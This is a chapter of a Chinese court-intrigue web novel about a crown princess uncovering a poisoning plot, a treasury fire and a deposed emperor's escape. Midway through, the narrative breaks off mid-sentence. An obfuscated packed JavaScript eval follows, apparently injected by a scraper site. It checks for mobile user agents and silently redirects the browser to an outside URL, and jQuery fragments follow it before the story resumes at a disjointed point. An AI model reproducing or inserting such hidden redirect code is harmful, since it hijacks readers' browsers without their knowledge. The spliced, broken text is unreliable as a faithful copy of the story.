第五百零三章 她病中布局,他怒斩内奸

作品:《拒嫁前世渣夫,娇女翻身却宠错人

    林以棠被傅云堇抱回寝殿时,肩膀上的伤口已经渗出血来。


    太医战战兢兢地重新包扎,额头全是汗:“太子妃,您这伤口才愈合三分,怎能如此折腾?”


    “无妨。”林以棠靠在床头,脸色苍白却眼神清明,“太医,我问你,若有人中了前朝死士常用的"噬心蛊",会有什么症状?”


    太医一愣,下意识答道:“噬心蛊极为歹毒,中蛊者初期无异样,三月后会心脉逆行,痛不欲生。唯有每月服用蛊母血才能压制,否则——”


    话说到一半,他猛地反应过来,脸色煞白:“太子妃,您怎会问这个?”


    林以棠没答,只是看向傅云堇:“云堇,你还记得三个月前,户部尚书突然告病在家?”


    傅云堇眸色一沉。


    户部尚书李谦,朝中元老,掌管国库钱粮。三个月前突然称病,说是风寒入体,需静养百日。


    “你是说——”


    “他中了噬心蛊。”林以棠打断他,声音很轻却字字清晰,“而能给他下蛊的人,必定是他信任之人。云堇,你派人去查李府,看看这三个月里,谁每月都会去探望他。”


    傅云堇立刻明白过来,转身对着门外吩咐:“镇北侯,带人去李府,将李尚书请进宫。记住,是"请",不是"抓"。”


    镇北侯应声而去。


    林以棠这才松了口气,却牵动伤口,疼得倒吸一口凉气。


    “以棠!”傅云堇扑过来扶住她,“你先别说话,好好休息。”


    “不行。”林以棠握住他的手,指尖冰凉,“云堇,李尚书若真中了蛊,说明内奸不止一人。前朝死士能潜入朝堂这么久,背后必有人护着。”


    她顿了顿,眼中闪过冷意:“而这个人,位高权重,能调动禁军,接触机密。”


    傅云堇瞳孔骤缩。


    能符合这些条件的,朝中不超过五人。


    “你怀疑谁?”


    林以棠没答,只是看向窗外。


    夜色浓重,宫墙外隐约传来巡逻侍卫的脚步声。


    “等李尚书来了,自然就知道了。”


    ---


    一个时辰后,李谦被“请”进宫。


    他脸色蜡黄,走路都有些踉跄,显然病得不轻。


    “老臣参见陛下。”李谦跪下行礼,声音虚弱。


    “李爱卿免礼。”傅云堇坐在龙椅上,看不出喜怒,“听闻爱卿染病三月,朕甚是挂念。今日特召爱卿进宫,是想问问,可有好转?”


    李谦苦笑:“多谢陛下关心,老臣这病怕是好不了了。”


    “哦?”傅云堇眯起眼,“为何?”


    “老臣也不知。”李谦摇头,“太医说是风寒入体,可吃了三个月的药,非但不见好,反而越发严重。每到月中,心口便疼得厉害,像有虫子在啃噬。”


    林以棠听到这里,突然开口:“李大人,这三个月里,可有人每月都去探望你?”


    李谦一愣,想了想:“有。礼部侍郎王大人,每月十五都会来府上看望老臣,还带了上好的补品。”


    满堂死寂。


    礼部侍郎王修,先帝旧臣,为人谦和,在朝中口碑极好。


    可现在,他的名字出现在这里。


    “来人。”傅云堇沉声道,“去礼部,将王修请来。”


    侍卫应声而去。


    李谦脸色煞白:“陛下,王大人他——”


    “李大人先别急。”林以棠打断他,“若王大人清白,自然无事。若他真有问题,李大人也算是帮朝廷揪出了内奸。”


    李谦张了张嘴,最终还是没说话。


    半个时辰后,侍卫回来了,却是空手而归。


    “陛下,王大人府上空了,人都不见了。”


    傅云堇猛地站起来,眼中闪过杀意。


    跑了?


    “传令下去,封锁京城,全城搜捕王修!”


    可话音刚落,门外突然传来一阵骚动。


    紧接着,一个太监跌跌撞撞地冲进来。


    “陛下,不好了!国库失火了!”


    傅云堇脸色骤变。


    国库!


    那里存放着大周数十年积累的钱粮,若是被烧,后果不堪设想。


    “镇北侯,带人去救火!”


    “是!”


    可林以棠却突然开口:“等等。”


    所有人都看向她。


    “云堇,国库失火太过蹊跷。”林以棠说,“王修既然敢跑,说明他早有准备。这场火,恐怕是声东击西。”


    傅云堇心里一沉:“你是说,他真正的目标不是国库?”


    “对。”林以棠看向李谦,“李大人,国库的钥匙在谁手里?”


    李谦愣住:“一把在老臣手里,另一把在户部侍郎手里。”


    “户部侍郎是谁?”


    “是……是王修的侄子,王安。”


    满堂哗然。


    林以棠闭上眼,深吸一口气。


    果然。


    王修费尽心思给李谦下蛊,就是为了控制他,拿到国库钥匙。


    而现在,他放火烧国库,真正目的恐怕是趁乱转移里面的东西。


    “云堇,快派人去查国库里的账目,看看少了什么。”


    傅云堇立刻明白过来,转身吩咐:“去,把户部所有官员都叫来,清点国库!”


    ---


    一个时辰后,结果出来了。


    国库里少了三十万两白银,还有大量兵器。


    而这些东西,足够养活一支十万人的军队。


    傅云堇握紧拳头,眼中全是杀意。


    王修,好大的胆子


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17238143|189151||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    “陛下,臣有话说。”李谦突然跪下,“老臣有罪,老臣识人不明,被王修利用,险些酿成大祸。老臣请求陛下,让老臣戴罪立功,去追回那批物资。”


    傅云堇看着他,沉默片刻,最终点头。


    “好,朕给你三天时间。若追不回来,你就提头来见。”


    李谦磕头:“老臣遵旨。”


    他站起来,转身要走,却突然停下。


    “陛下,老臣还有一事相告。”


    “说。”


    “王修曾对老臣说过,他背后有人。那人势力极大,连北狄新王都是他扶持的。”


    林以棠心里一沉。


    果然,北狄那边也有问题。


    “他有没有说,那人是谁?”


    李谦摇头:“没有。不过他说过一句话,说那人"曾是大周最尊贵的人,如今却成了最卑贱的囚徒"。”


    最尊贵的人,最卑贱的囚徒?


    林以棠脑子飞快转着。


    突然,她想到一个人。


    “云堇,天牢里还关着谁?”


    傅云堇愣住,随即脸色骤变。


    “新皇。”


    两人对视一眼,眼中闪过震惊。


    新皇虽然被废,但并未处死,而是关在天牢里。


    若他真是幕后黑手——


    “来人,去天牢,把新皇带上来!”


    侍卫应声而去。


    可半个时辰后,他们回来时,脸色煞白。


    “陛下,新皇……新皇不见了。”


    满堂死寂。


    傅云堇握紧扶手,指节发白。


    新皇跑了。


    而且,很可能是有人里应外合,把他救出去的。


    林以棠靠在床头,脸色苍白得吓人。


    她突然明白了。


    从一开始,他们就中了圈套。


    王修放火烧国库,不是为了转移物资,而是为了调虎离山,趁机救出新皇。


    而新皇,才是真正的幕后黑手。


    “云堇……”她哑着声音说,“我们被耍了。”


    傅云堇转身,看到她摇摇欲坠的样子,连忙扑过来扶住她。


    “以棠,你别说话,先休息。”


    “不行……”林以棠握住他的手,眼泪止不住地掉,“云堇,新皇若真逃了,他一定会卷土重来。到那时,我们……”


    话没说完,她眼前一黑,整个人软倒在傅云堇怀里。


    “以棠!以棠!”


    傅云堇抱紧她,声音都在颤抖。


    太医冲过来,把了脉,脸色煞白。


    “陛下,太子妃这是急火攻心,加上身怀有孕,身体虚弱,恐怕……”


    “恐怕什么?”傅云堇眼中全是血丝。


    “恐怕保不住孩子了。”